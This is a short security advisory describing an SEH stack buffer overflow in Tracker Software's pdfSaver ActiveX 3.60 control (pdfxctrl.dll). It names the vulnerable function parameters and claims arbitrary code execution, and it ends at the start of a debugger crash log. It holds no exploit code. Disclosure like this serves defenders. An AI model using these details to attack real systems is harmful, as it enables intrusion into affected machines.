Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH) Vendor: ------- Tracker Software Products Ltd. Product web page: ----------------- http://www.tracker-software.com Affected version: ----------------- 3.60.0128 Summary: -------- PDF-Saver Technology is a unique new feature of PDF-XChange software which allows printing jobs to be combined prior to the final PDF file being generated - (e.g. to join 3 pages of Excel spreadsheet, 5 slides of PowerPoint presentation and 10 pages of Word document into one PDF document). Description: ------------ The PDF Printer Preferences ActiveX suffers from a buffer overflow vulnerability. When a large buffer is sent to the sub_path item of the StoreInRegistry function, and the sub_key item of the InitFromRegistry function, in pdfxctrl.dll module, we get a SEH overwrite. An attacker can gain access to the system of the affected node and execute arbitrary code. ------------------------------------------------------------------------ (1fac.1ea8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
